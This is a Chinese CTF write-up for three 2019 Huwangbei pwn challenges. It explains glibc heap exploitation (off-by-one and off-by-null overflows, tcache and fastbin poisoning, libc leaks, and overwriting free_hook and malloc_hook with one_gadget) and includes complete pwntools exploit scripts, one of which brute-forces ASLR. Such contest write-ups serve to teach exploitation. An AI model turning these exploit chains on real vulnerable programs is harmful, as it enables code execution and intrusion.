2019护网杯_pwn

题目地址:

https://github.com/hacker-mao/ctf_repo/tree/master/%E6%8A%A4%E7%BD%91%E6%9D%AF2019/pwn

一共4道题,比赛时间太短,赛后花了一天时间弄出3道,继续学习

mergeheap

  • libc2.27,典型的tcache题目,程序的漏洞在于off by one

  • 当分配的堆块占用了下一chunk的pre_size位时,strcpy的时候会将下一chunk的size也复制,再配合strcat会溢出一个字节

  • 首先先填满tcache,为了下一次free时候将会放入unsorted bin中,然后构造4个不和填充tcache的chunk大小一样的chunk,注意chunk1和chunk2的大小要等于chunk0,为了等下构造堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
#填满tcache
for i in range(7):
add(0x80,str(i))

for i in range(7):
dele(i)


add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3

  • 接着释放chunk0,合并chunk1和chunk2到chunk0的位置,并且会触发off by one修改chunk1的size为0x91
1
2
dele(0)
merge(1,2) #0

  • 然后把chunk1 free掉会得到一块0x90的bins,但由于0x90的tcache事先被填充满了,所以会放入unsorted bin中,然后我们再分配一块0x30大小的chunk,libc会从刚刚的unsorted bin中切割一部分,这时候剩下的unsorted bin刚好落入chunk2上,打印chunk2就可以泄漏libc,进而得到free_hook地址和one_gadget地址
1
2
3
4
5
6
7
8
9
dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322

  • 紧接着重复类似上面的操作
1
2
3
4
5
6
7
#清空unsorted bin
add(0x40,'1')

add(0x68,'aa') #5
add(0x28,'b'*0x38) #6
add(0x40,'d'*0x3f+'\x81') #7
add(0x60,'c') #8

  • 依然利用off by one修改chunk_size
1
2
dele(5)
merge(6,7) #5

  • free 掉chunk6,再free掉chunk7,再malloc一个0x70的chunk就会分配到chunk6的位置,这时候就可以对chunk7进行uaf利用,修改fd指针指向free_hook,然后改为one_gadget
1
2
3
4
5
6
7
8
#hijack free_hook -> one_gadget
dele(6)
dele(7)

add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
dele(0)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#coding:utf-8
from pwn import *
context.log_level = 'debug'

p = process('./mergeheap')
#p = remote('49.232.101.96',51582)

def sl(x):
p.sendline(x)

def ru(x):
p.recvuntil(x)

def se(x):
p.send(x)

def add(size,content):
ru('>>')
sl('1')
ru('len:')
sl(str(size))
ru('content:')
sl(content)

def show(idx):
ru('>>')
sl('2')
ru('idx:')
sl(str(idx))

def dele(idx):
ru('>>')
sl('3')
ru('idx:')
sl(str(idx))


def merge(idx_1,idx_2):
ru('>>')
sl('4')
ru('idx1:')
sl(str(idx_1))
ru('idx2:')
sl(str(idx_2))

#填满tcache
for i in range(7):
add(0x80,str(i))

for i in range(7):
dele(i)


add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3

#----------------------------------

dele(0)
merge(1,2) #0

#----------------------------------

dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322

#----------------------------------

#清空unsorted bin
add(0x40,'1')

add(0x68,'aa') #5
add(0x28,'b'*0x38) #6
add(0x40,'d'*0x3f+'\x81') #7
add(0x60,'c') #8

#----------------------------------

dele(5)
merge(6,7) #5

#----------------------------------
#hijack free_hook -> one_gadget
dele(6)
dele(7)

add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
#trigger one_gadget
dele(0)

#----------------------------------
#gdb.attach(p)


p.interactive()

silentheap

  • 这题主要考验细心程度吧,漏洞点在dele里。第二次循环没有到9,因此假如输入idx为9,就会直接把ptr[9] free掉,然后把flag[9]置0

  • 如果我们将ptr[9]分配一个0x360的堆块,原先的flag值是2,经过dele(9)后,它的值会变成0,这时候执行case3的函数时,将会调用(ptr[index]+0x55\4)这个地址的函数,而我们可以通过修改aThouWhoArtDark来构造一个地址,相当于任意地址执行,但我们不知道one_gadget地址,由于题目是32位的,发现one_gadget地址每次只会变动2个字节,于是可以爆破2字节去执行one_gadget地址,概率是1/256,试了下还挺快的

1
2
3
4
5
#开了alsr运行了几次的one_gadget地址
0xf75a6c69
0xf754dc69
0xf7570c69
0xf7583c69

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#coding:utf-8
from pwn import *
context.log_level = 'debug'




def sl(x):
p.sendline(x)

def ru(x):
p.recvuntil(x)

def se(x):
p.send(x)


def new():
sl('1')

def new_1():
sl('2')

def zhixinghanshu(index,cont1,cont2):
sl('3')
sl(str(index))
sl(cont1)
sl(cont2)

def dele(index):
sl('4')
sl(str(index))

def edit(choice,cont):
sl('5')
sl(str(choice))
sl(cont)


def pwn_it():

for i in range(9):
new()

one_gadget = 0xf75a9c5c
#one_gadget = 0xf7e3fc5c
#fake chunk -> *(ptr[index]+0x55*4)
pay = 'a'*(0x54*4) + p32(one_gadget)
edit(2,pay)
new_1()
dele(9)

#gdb.attach(p)
zhixinghanshu(9,'1','2')
#0xf75a6c69
#0xf754dc69
#0xf7570c69
#0xf7583c69

p.sendline('ls')
p.sendline('ls')
data = p.recv()
if (data):
p.interactive()


if __name__ == '__main__':

while True:
try:
p = process('./silentheap')
pwn_it()
except Exception as e:
p.close()
finally:
p.close()

pwn2

  • 这题与hctf2018的heapstorm zero十分像,所以参考了它的wp之后做出来了

  • 这题漏洞点在于off by null,而且题目限制了chunk只能0x58大小,如果只是 fastbin 的话 off by null 是没法利用的,但是这里有个小tips,使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存。

  • 在 malloc 分配内存时,首先会一次扫描一遍 fastbin , smallbin , unsorted bin ,largebin, 如果都找不到可以分配的 chunk 分配给用户 , 会进入 top_chunk 分配的流程, 如果此时还有fastbin ,就会触发堆合并机制,把 fastbin 合并 之后放入 smallbin,再看能否分配,不能的话会使用 top_chunk 进行分配。

  • 于是利用 scanf 能分配大内存的特性,我们可以触发 堆合并,然后让 fastbin 合并成一个smallbin , 然后在触发 off-by-null , 就是常规的利用思路了。

  • 先构造好堆的分布,以便后续利用,其中chunk1,chunk2,chunk3,chunk4的size之和要为0x110为了后续的off by null操作
1
2
3
4
5
6
7
8
9
add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(8)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留块, 防止和 top chunk 合并
add_flo(0x30,5,'e')

  • 然后释放chunk1-5,再利用scanf触发fastbin合并为small bin,所以现在得到了一块大小为0x110的small bin
1
2
3
4
for i in range(1,5):
remove_flo(i)

triger_consolidate()

  • 释放chunk0,再分配chunk0,利用off by null修改chunk1的size为0x100
1
2
remove_flo(0)
add_flo(0x58,0,'a'*0x58)

  • 通过对small bin的4次切割,再次分配4个chunk
1
2
3
4
add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')

  • 然后我们释放chunk1,chunk2,并通过scanf让他们合并为small bin,再通过释放chunk5与scanf来触发unlink机制,通过 extend 前向 overlapping,得到一个包含chunk3和chunk4的大small bin,具体原理可以看http://blog.eonew.cn/archives/546#_free_smallbin_extend

1
2
3
4
5
remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()

  • 由于chunk3之前保留了small bin分配下来的指针,所以通过chunk3泄漏libc,从而得到其他地址
1
2
3
4
5
6
7
8
9
10
11
12
#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']
  • 将chunk3,chunk4也释放,得到两个fastbin ,通过切割大small bin,使得到的堆块能够修改fastbin的fd指针
1
2
3
4
5
6
7
8
9
10
11
remove_flo(3)
remove_flo(4)

for i in range(2):
add_flo(0x10,1,'1111')

pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)

pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)

  • malloc一个0x30的堆块会从fastbin中取出,此时fastbin只剩下0x61
1
add_flo(0x30,2,'2') #消除0x40 fastbin

  • 于是我们可以分配堆块到main_arena中,然后去修改top_chunk到realloc_hook前面
1
2
add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))
  • 接着先分配堆块清除unsorted bin,然后分配堆块到realloc_hook,修改realloc_hook 为 one_gadget,malloc_hook为realloc函数+0x14地址处,通过malloc函数来触发one_gadget
1
2
3
4
5
6
7
8
9
10
11
for i in range(3):
add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)

ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')
ru('index: ')
sl('0')
  • 这里是因为直接改malloc_hook为one_gadget不满足条件,所以无法getshell,才通过malloc_hook调用realloc_hook的方法,通过通过改realloc函数偏移的方法微调来满足one_gadget的条件

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#coding:utf-8
from pwn import *
context.log_level = 'debug'


p = process('./pwn 2')

def sl(x):
p.sendline(x)

def ru(x):
p.recvuntil(x)

def se(x):
p.send(x)


def add_flo(size,index,name):
ru('choice >> \n')
sl('1')
ru('of Size : ')
sl(str(size))
ru('index: ')
sl(str(index))
ru(' name:')
se(name)

def remove_flo(index):
ru('choice >> \n')
sl('2')
ru('input idx :')
sl(str(index))

def show_flo(index):
ru('choice >> \n')
sl('3')
ru('Input idx : \n')
sl(str(index))

def triger_consolidate():
ru('choice >> \n')
sl('1'*0x400)


add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(0)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留块, 防止和 top chunk 合并
add_flo(0x30,5,'e')

#----------------------------

for i in range(1,5):
remove_flo(i)

triger_consolidate()

#----------------------------

remove_flo(0)
add_flo(0x58,0,'a'*0x58)

#----------------------------

add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')

#----------------------------

remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()

#----------------------------

#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']

#----------------------------

remove_flo(3)
remove_flo(4)

for i in range(2):
add_flo(0x10,1,'1111')

pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)

pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)

#----------------------------

add_flo(0x30,2,'2') #消除0x40 fastbin
add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))

#----------------------------

for i in range(3):
add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)


#----------------------------

#gdb.attach(p)
#trigger one_gadget
ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')
ru('index: ')
sl('0')



p.interactive()